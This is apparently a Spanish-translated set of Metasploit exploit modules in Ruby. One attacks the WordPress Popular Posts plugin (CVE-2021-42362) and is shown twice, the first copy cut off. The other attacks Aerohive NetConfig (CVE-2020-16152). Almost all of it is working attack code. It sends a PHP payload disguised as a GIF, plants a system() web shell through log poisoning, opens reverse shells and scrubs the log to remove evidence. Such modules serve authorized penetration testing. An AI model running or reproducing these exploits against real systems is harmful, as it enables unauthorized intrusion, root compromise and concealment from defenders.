
### Este módulo requiere Metasploit: https://metasploit.com/download # Fuente actual: https://github.com/rapid7/metasploit-framework ##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ Este exploit requiere que Metasploit tenga un FQDN y la capacidad de ejecutar un servidor web de payload en el puerto 80, 443 o 8080. El FQDN tampoco debe resolverse a una dirección reservada (192/172/127/10). El servidor también debe responder a una petición HEAD del payload, antes de recibir una petición GET. Este exploit aprovecha una validación de entrada incorrecta autenticada en el plugin de Wordpress Popular Posts <= 5.3.2. La cadena del exploit es bastante complicada. Se requiere autenticación y 'gd' para PHP en el servidor. Luego el plugin Popular Post se reconfigura para permitir una URL arbitraria para la imagen del post en el widget. Se crea un post, y se envían peticiones al post para superar al anterior #1 por 5. Una vez que el post llega al top 5, y después de un refresco de caché del servidor de 60 segundos (esperamos 90), se carga el widget de la página principal lo que provoca que el plugin descargue el payload de nuestro servidor. Nuestro payload tiene una cabecera 'GIF' y una doble extensión ('.gif.php') que permite ejecutar código PHP arbitrario. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # módulo msf 'Simone Cristofaro', # edb 'Jerome Bruandet' # análisis original ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wo
class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ Este exploit requiere que Metasploit tenga un FQDN y la capacidad de ejecutar un servidor web de payload en el puerto 80, 443 o 8080. El FQDN tampoco debe resolverse a una dirección reservada (192/172/127/10). El servidor también debe responder a una petición HEAD para el payload, antes de recibir una petición GET. Este exploit aprovecha una validación de entrada incorrecta con autenticación en el plugin de Wordpress Popular Posts <= 5.3.2. La cadena de explotación es bastante complicada. Se requiere autenticación y que 'gd' de PHP esté instalado en el servidor. A continuación, el plugin Popular Posts se reconfigura para permitir una URL arbitraria para la imagen del post en el widget. Se crea un post y se envían peticiones al mismo para hacerlo más popular que el anterior #1 por 5. Una vez que el post llega al top 5, y después de una actualización de la caché del servidor de 60 segundos (esperamos 90), se carga el widget de la página principal, lo que hace que el plugin descargue el payload de nuestro servidor. Nuestro payload tiene una cabecera 'GIF' y una doble extensión ('.gif.php') que permite ejecutar código PHP arbitrario. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # módulo de msf 'Simone Cristofaro', # edb 'Jerome Bruandet' # análisis original ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/' ], [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ], [ 'URL', 'https://plugins.trac.wordpress.org/changeset/2542638' ], [ 'URL', 'https://github.com/cabrerahector/wordpress-popular-posts/commit/d9b274cf6812eb446e4103cb18f69897ec6fe601' ], [ 'CVE', '2021-42362' ] ], 'Platform' => ['php'], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2021-06-11', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'WfsDelay' => 3000 # 50 minutos, otros visitantes del sitio pueden activarlo }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'Nombre de usuario de la cuenta', 'admin']), OptString.new('PASSWORD', [true, 'Contraseña de la cuenta', 'admin']), OptString.new('TARGETURI', [true, 'La ruta base del servidor Wordpress', '/']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L560 OptString.new('SRVHOSTNAME', [true, 'FQDN del servidor de Metasploit. No debe resolverse a una dirección reservada (192/10/127/172)', '']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L584 OptEnum.new('SRVPORT', [true, 'El puerto local en el que escuchar.', 'login', ['80', '443', '8080']]), ] end def check return CheckCode::Safe('No se detectó Wordpress.') unless wordpress_and_online? checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3') if checkcode == CheckCode::Safe print_error('Popular Posts no es una versión vulnerable') end return checkcode end def trigger_payload(on_disk_payload_name) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) # repetir esto 5 veces por si hay un retraso en la escritura del archivo por parte del servidor (1..5).each do |i| print_status("Lanzando shell en: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} en 10 segundos. Intento #{i} de 5") Rex.sleep(10) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name), 'keep_cookies' => 'true' ) end if res && res.code == 404 print_error('No se pudo encontrar el payload; puede que no se haya subido correctamente.') end end def on_request_uri(cli, request, payload_name, post_id) if request.method == 'HEAD' print_good('Respondiendo a la petición HEAD inicial (verificación 1 superada)') # según https://stackoverflow.com/questions/3854842/content-length-header-with-head-requests deberíamos tener un Content-Length válido # sin embargo, parece que se calcula dinámicamente, ya que se sobrescribe a 0 en esta respuesta. lo dejo aquí como nota. # además, no queríamos enviar el payload real en el cuerpo para que el tamaño fuera correcto, ya que eso aumenta las posibilidades de ser detectados return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s }) end if request.method == 'GET' on_disk_payload_name = "#{post_id}_#{payload_name}" register_file_for_cleanup(on_disk_payload_name) print_good('Respondiendo a la petición GET (verificación 2 superada)') send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif') close_client(cli) # por alguna razón extraña necesitamos cerrar la conexión manualmente para que PHP/WP termine sus funciones Rex.sleep(2) # esperar a que WP termine todas las comprobaciones necesarias trigger_payload(on_disk_payload_name) end print_status("Recibida petición #{request.method} inesperada") end def check_gd_installed(cookie) vprint_status('Comprobando si gd está instalado') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' } ) fail_with(Failure::Unreachable, 'El sitio no responde') unless res fail_with(Failure::UnexpectedReply, 'No se pudo recuperar la página') unless res.code == 200 res.body.include? ' gd' end def get_wpp_admin_token(cookie) vprint_status('Recuperando el token wpp_admin') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'tools' } ) fail_with(Failure::Unreachable, 'El sitio no responde') unless res fail_with(Failure::UnexpectedReply, 'No se pudo recuperar la página') unless res.code == 200 /<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"])/ =~ res.body Regexp.last_match(1) end def change_settings(cookie, token) vprint_status('Actualizando la configuración de popular posts para las imágenes') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'upload_thumb_src' => '', 'thumb_source' => 'custom_field', 'thumb_lazy_load' => 0, 'thumb_field' => 'wpp_thumbnail', 'thumb_field_resize' => 1, 'section' => 'thumb', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'El sitio no responde') unless res fail_with(Failure::UnexpectedReply, 'No se pudo recuperar la página') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'No se pudieron guardar/cambiar los ajustes') unless /<strong>Settings saved/ =~ res.body end def clear_cache(cookie, token) vprint_status('Limpiando la caché de imágenes') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'action' => 'wpp_clear_thumbnail', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'El sitio no responde') unless res fail_with(Failure::UnexpectedReply, 'No se pudo recuperar la página') unless res.code == 200 end def enable_custom_fields(cookie, custom_nonce, post) # esto debería habilitar el ajax_nonce; además nos redirigirá (302) de vuelta a la página de referer para poder obtenerlo. res = send_request_cgi!( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post.php'), 'cookie' => cookie, 'keep_cookies' => 'true', 'method' => 'POST', 'vars_post' => { 'toggle-custom-fields-nonce' => custom_nonce, '_wp_http_referer' => "#{normalize_uri(target_uri.path, 'wp-admin', 'post.php')}?post=#{post}&action=edit", 'action' => 'toggle-custom-fields' } ) /name="_ajax_nonce-add-meta" value="([^"])/ =~ res.body Regexp.last_match(1) end def create_post(cookie) vprint_status('Creando un nuevo post') # obtener el ID del post y los nonces res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'), 'cookie' => cookie, 'keep_cookies' => 'true' ) fail_with(Failure::Unreachable, 'El sitio no responde') unless res fail_with(Failure::UnexpectedReply, 'No se pudo recuperar la página') unless res.code == 200 /name="_ajax_nonce-add-meta" value="(?<ajax_nonce>[^"])/ =~ res.body /wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware( "(?<wp_nonce>[^"])/ =~ res.body /},"post":{"id":(?<post_id>\d*)/ =~ res.body if ajax_nonce.nil? print_error('falta el campo ajax nonce, intentando volver a habilitarlo. si esto falla, es posible que necesites cambiar la interfaz para habilitarlo. Consulta https://www.hostpapa.com/knowledgebase/add-custom-meta-boxes-wordpress-posts/. O revisa (mientras escribes un post) Options > Preferences > Panels > Additional > Custom Fields.') /name="toggle-custom-fields-nonce" value="(?<custom_nonce>[^"]*)/ =~ res.body ajax_nonce = enable_custom_fields(cookie, custom_nonce, post_id) end unless ajax_nonce.nil? vprint_status("ajax nonce: #{ajax_nonce}") end unless wp_nonce.nil? vprint_status("wp nonce: #{wp_nonce}") end unless post_id.nil? vprint_status("Post creado: #{post_id}") end fail_with(Failure::UnexpectedReply, 'No se pudieron recuperar los nonces y/o el ID del nuevo post') unless ajax_nonce && wp_nonce && post_id # publicar el nuevo post vprint_status("Escribiendo contenido en el post: #{post_id}") # esto es muy diferente del PoC de EDB; con su ejemplo recibía un 200 hacia la página principal, así que esto se basa en lo que envía la interfaz de usuario res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'ctype' => 'application/json', 'accept' => 'application/json', 'vars_get' => { '_locale' => 'user', 'rest_route' => normalize_uri(target_uri.path, 'wp', 'v2', 'posts', post_id) }, 'data' => { 'id' => post_id, 'title' => Rex::Text.rand_text_alphanumeric(20..30), 'content' => "<!-- wp:paragraph -->\n<p>#{Rex::Text.rand_text_alphanumeric(100..200)}</p>\n<!-- /wp:paragraph -->", 'status' => 'publish' }.to_json, 'headers' => { 'X-WP-Nonce' => wp_nonce, 'X-HTTP-Method-Override' => 'PUT' } ) fail_with(Failure::Unreachable, 'El sitio no responde') unless res fail_with(Failure::UnexpectedReply, 'No se pudo recuperar la página') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'El post no se pudo publicar') unless res.body.include? '"status":"publish"' return post_id, ajax_nonce, wp_nonce end def add_meta(cookie, post_id, ajax_nonce, payload_name) payload_url = "http://#{datastore['SRVHOSTNAME']}:#{datastore['SRVPORT']}/#{payload_name}" vprint_status("Añadiendo metadatos maliciosos para redirigir a #{payload_url}") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_post' => { '_ajax_nonce' => 0, 'action' => 'add-meta', 'metakeyselect' => 'wpp_thumbnail', 'metakeyinput' => '', 'metavalue' => payload_url, '_ajax_nonce-add-meta' => ajax_nonce, 'post_id' => post_id } ) fail_with(Failure::Unreachable, 'El sitio no responde') unless res fail_with(Failure::UnexpectedReply, 'No se pudo recuperar la página') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'No se pudieron actualizar los metadatos') unless res.body.include? "<tr id='meta-" end def boost_post(cookie, post_id, wp_nonce, post_count) # redirigir según sea necesario res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'keep_cookies' => 'true', 'cookie' => cookie, 'vars_get' => { 'page_id' => post_id } ) fail_with(Failure::Unreachable, 'El sitio no responde') unless res fail_with(Failure::UnexpectedReply, 'No se pudo recuperar la página') unless res.code == 200 || res.code == 301 print_status("Enviando #{post_count} visitas a #{res.headers['Location']}") location = res.headers['Location'].split('/')[3...-1].join('/') # http://example.com/<toma este valor>/<y lo que venga después> (1..post_count).each do |c| res = send_request_cgi!( 'uri' => "/#{location}", 'cookie' => cookie, 'keep_cookies' => 'true' ) # simplemente enviar; no importa la respuesta fail_with(Failure::Unreachable, 'El sitio no responde') unless res fail_with(Failure::UnexpectedReply, 'No se pudo recuperar la página') unless res.code == 200 res = send_request_cgi( # esta URL difiere del PoC en EDB y está modelada según lo que hace el navegador 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => { 'rest_route' => normalize_uri('wordpress-popular-posts', 'v1', 'popular-posts') }, 'keep_cookies' => 'true', 'method' => 'POST', 'cookie' => cookie, 'vars_post' => { 'wpnonce' => wp_nonce, 'wpp_id' => post_id, 'sampling' => 0, 'sampling_rate' => 100 } ) fail_with(Failure::Unreachable, 'El sitio no responde') unless res fail_with(Failure::UnexpectedReply, 'No se pudo recuperar la página') unless res.code == 201 end fail_with(Failure::Unreachable, 'El sitio no responde') unless res end def get_top_posts print_status('Determinando el post con más visitas') res = get_widget />(?<views>\d+) views</ =~ res.body views = views.to_i print_status("Máximas visitas: #{views}") views += 5 # para que nuestro post sea el más visitado unless datastore['VISTS'].nil? print_status("Anulando el contador de visitas porque VISITS está definido, de #{views} a #{datastore['VISITS']}") views = datastore['VISITS'] end views end def get_widget # cargar la página principal para obtener el ID del widget. A veces parece que accedemos al widget cuando se está actualizando y no responde # lo que mataría el exploit, así que en este caso seguimos intentándolo. (1..10).each do || @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'No se pudo recuperar la página') unless @res.code == 200 /data-widget-id="wpp-(?<widget_id>\d+)/ =~ @res.body # cargar el widget directamente (1..10).each do || @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php', 'wp-json', 'wordpress-popular-posts', 'v1', 'popular-posts', 'widget', widget_id), 'keep_cookies' => 'true', 'vars_get' => { 'is_single' => 0 } ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'No se pudo recuperar la página') unless @res.code == 200 @res end def exploit fail_with(Failure::BadConfig, 'SRVHOST debe configurarse con una dirección IP (0.0.0.0 no es válida) para que la explotación tenga éxito') if datastore['SRVHOST'] == '0.0.0.0' cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) if cookie.nil? vprint_error('Inicio de sesión no válido, comprueba las credenciales') return end payload_name = "#{Rex::Text.rand_text_alphanumeric(5..8)}.gif.php" vprint_status("Nombre del archivo del payload: #{payload_name}") fail_with(Failure::NotVulnerable, 'gd no está instalado en el servidor, no explotable') unless check_gd_installed(cookie) post_count = get_top_posts # ya no necesitamos pasar la cookie, ya que ahora está guardada en el cliente http token = get_wpp_admin_token(cookie) vprint_status("wpp_admin_token: #{token}") change_settings(cookie, token) clear_cache(cookie, token) post_id, ajax_nonce, wp_nonce = create_post(cookie) print_status('Iniciando el servidor web para manejar la petición del payload de imagen') start_service({ 'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req, payload_name, post_id) }, 'Path' => "/#{payload_name}" } }) add_meta(cookie, post_id, ajax_nonce, payload_name) boost_post(cookie, post_id, wp_nonce, post_count) print_status('Esperando 90 segundos a que el servidor actualice la caché') Rex.sleep(90) print_status('Intentando forzar la carga de la shell visitando la página principal y cargando el widget') res = get_widget print_good('¡Llegamos a la cima!') if res.body.include? payload_name # if res.body.include? datastore['SRVHOSTNAME'] # fail_with(Failure::UnexpectedReply, "Found #{datastore['SRVHOSTNAME']} in page content. Payload likely wasn't copied to the server.") # end # en este punto, dependemos de que nuestro servidor web reciba peticiones para que ocurra el resto end end
class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Aerohive NetConfig 10.0r8a LFI and log poisoning to RCE', 'Description' => %q{ Este módulo explota vulnerabilidades de LFI y envenenamiento de logs (CVE-2020-16152) en Aerohive NetConfig, versión 10.0r8a build-242466 y anteriores, para lograr la ejecución remota de código no autenticada como el usuario root. NetConfig es la interfaz web administrativa HiveOS de Aerohive/Extreme Networks. Las versiones vulnerables permiten LFI porque dependen de una versión de PHP 5 que es vulnerable a ataques de truncamiento de cadenas. Este módulo aprovecha este problema junto con el envenenamiento de logs para obtener RCE como root. Tras una explotación exitosa, la aplicación Aerohive NetConfig se bloqueará mientras la shell generada permanezca abierta. Cerrar la sesión debería hacer que la aplicación vuelva a responder. El módulo proporciona una opción de limpieza automática para limpiar el log. Sin embargo, esta opción está deshabilitada por defecto porque cualquier modificación del log /tmp/messages, incluso mediante sed, puede hacer que el objetivo quede (temporalmente) no explotable. Este estado puede durar más de una hora. Este módulo se ha probado con éxito contra Aerohive NetConfig versiones 8.2r4 y 10.0r7a. }, 'License' => MSF_LICENSE, 'Author' => [ 'Erik de Jong', # github.com/eriknl - descubrimiento y PoC 'Erik Wynter' # @wyntererik - Metasploit ], 'References' => [ ['CVE', '2020-16152'], # aún categorizado como RESERVADO ['URL', 'https://github.com/eriknl/CVE-2020-16152'] # análisis y código del PoC ], 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 }, 'Platform' => %w[linux unix], 'Arch' => [ ARCH_ARMLE, ARCH_CMD ], 'Targets' => [ [ 'Linux', { 'Arch' => [ARCH_ARMLE], 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp', 'CMDSTAGER::FLAVOR' => 'curl' } } ], [ 'CMD', { 'Arch' => [ARCH_CMD], 'Platform' => 'unix', 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' # este puede ser el único payload que funciona para este objetivo' } } ] ], 'Privileged' => true, 'DisclosureDate' => '2020-02-17', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('TARGETURI', [true, 'La ruta base de Aerohive NetConfig', '/']), OptBool.new('AUTO_CLEAN_LOG', [true, 'Limpiar automáticamente el log /tmp/messages al generar una shell. ¡ADVERTENCIA! Esto puede hacer que el objetivo quede no explotable', false]), ] end def auto_clean_log datastore['AUTO_CLEAN_LOG'] end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php5') }) unless res return CheckCode::Unknown('Conexión fallida.') end unless res.code == 200 && res.body.include?('Aerohive NetConfig UI') return CheckCode::Safe('El objetivo no es una aplicación Aerohive NetConfig.') end version = res.body.scan(/action="login.php5?version=(.*?)"/)&.flatten&.first unless version return CheckCode::Detected('No se pudo determinar la versión de Aerohive NetConfig.') end begin if Rex::Version.new(version) <= Rex::Version.new('10.0r8a') return CheckCode::Appears("El objetivo es Aerohive NetConfig versión #{version}") else print_warning('Cabe señalar que no está claro si/cuándo se parcheó este problema, por lo que las versiones posteriores a 10.0r8a pueden seguir siendo vulnerables.') return CheckCode::Safe("El objetivo es Aerohive NetConfig versión #{version}") end rescue StandardError => e return CheckCode::Unknown("No se pudo obtener una versión válida de Aerohive NetConfig: #{e}") end end def poison_log password = rand_text_alphanumeric(8..12) @shell_cmd_name = rand_text_alphanumeric(3..6) @poison_cmd = "<?php system($_POST['#{@shell_cmd_name}']);?>" # Envenenar /tmp/messages print_status('Intentando envenenar el log en /tmp/messages...') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login.php5'), 'vars_post' => { 'login_auth' => 0, 'miniHiveUI' => 1, 'authselect' => 'Name/Password', 'userName' => @poison_cmd, 'password' => password } }) unless res fail_with(Failure::Disconnected, 'Conexión fallida al intentar envenenar el log en /tmp/messages') end unless res.code == 200 && res.body.include?('cmn/redirectLogin.php5?ERROR_TYPE=MQ==') fail_with(Failure::UnexpectedReply, 'Respuesta inesperada al intentar envenenar el log en /tmp/messages') end print_status('El servidor respondió como se esperaba. Continuando...') end def on_new_session(session) log_cleaned = false if auto_clean_log print_status('Intentando limpiar el archivo de log en /tmp/messages...') print_warning('Ten en cuenta que esto hará que el objetivo quede (temporalmente) no explotable. Este estado puede durar más de una hora.') begin # Necesitamos eliminar la línea que contiene la llamada al sistema PHP de /tmp/messages # Los caracteres especiales en la syscall de PHP hacen casi imposible usar sed para reemplazar la syscall de PHP por un nombre de usuario normal. # En su lugar, evitemos los caracteres especiales combinando varios comandos grep para asegurarnos de tener la línea correcta y luego eliminar esa línea completa # El impacto de usar sed para editar el archivo sobre la marcha y usar grep para crear un archivo nuevo y sobrescribir /tmp/messages con él es el mismo: # En ambos casos, es probable que la aplicación deje de escribir en /tmp/messages durante bastante tiempo (podría ser más de una hora), lo que hará que el objetivo quede no explotable durante ese período. line_to_delete_file = "/tmp/#{rand_text_alphanumeric(5..10)}" clean_messages_file = "/tmp/#{rand_text_alphanumeric(5..10)}" cmds_to_clean_log = "grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system' > #{line_to_delete_file}; " "grep -vFf #{line_to_delete_file} /tmp/messages > #{clean_messages_file}; mv #{clean_messages_file} /tmp/messages; rm -f #{line_to_delete_file}" if session.type.to_s.eql? 'meterpreter' session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' session.sys.process.execute('/bin/sh', "-c "#{cmds_to_clean_log}"") # Esperar a que se complete la limpieza Rex.sleep 5 # Comprobar la llamada al sistema PHP en /tmp/messages messages_contents = session.fs.file.open('/tmp/messages').read.to_s # usar =~ aquí produjo resultados inesperados, por lo que se usa include? en su lugar unless messages_contents.include?(@poison_cmd) log_cleaned = true end elsif session.type.to_s.eql?('shell') session.shell_command_token(cmds_to_clean_log.to_s) # Comprobar la llamada al sistema PHP en /tmp/messages poison_evidence = session.shell_command_token("grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system'") # usar =~ aquí produjo resultados inesperados, por lo que se usa include? en su lugar unless poison_evidence.include?(@poison_cmd) log_cleaned = true end end rescue StandardError => e print_error("Error durante la limpieza: #{e.message}") ensure super end unless log_cleaned print_warning("No se pudo reemplazar la llamada al sistema PHP '#{@poison_cmd}' en /tmp/messages") end end if log_cleaned print_good('Log limpiado correctamente al eliminar la línea con la syscall de PHP de /tmp/messages.') else print_warning("Borrar las evidencias del envenenamiento del log requerirá editar/eliminar manualmente la línea en /tmp/messages que contiene el comando de envenenamiento:\n\t#{@poison_cmd}") print_warning('Ten en cuenta que cualquier modificación de /tmp/messages, incluso mediante sed, hará que el objetivo quede (temporalmente) no explotable. Este estado puede durar más de una hora.') print_warning('Eliminar /tmp/messages o vaciar el archivo puede romper la aplicación.') end end def execute_command(cmd, _opts = {}) print_status('Intentando ejecutar el payload') send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'action.php5'), 'vars_get' => { '_action' => 'list', 'debug' => 'true' }, 'vars_post' => { '_page' => rand_text_alphanumeric(1) + '/..' * 8 + '/' * 4041 + '/tmp/messages', # Activar LFI mediante truncamiento de la ruta @shell_cmd_name => cmd } }, 0) print_warning('En caso de explotación exitosa, la aplicación web de Aerohive NetConfig se bloqueará mientras la shell generada permanezca abierta.') end def exploit poison_log if target.arch.first == ARCH_CMD print_status('Ejecutando el payload') execute_command(payload.encoded) else execute_cmdstager(background: true) end end end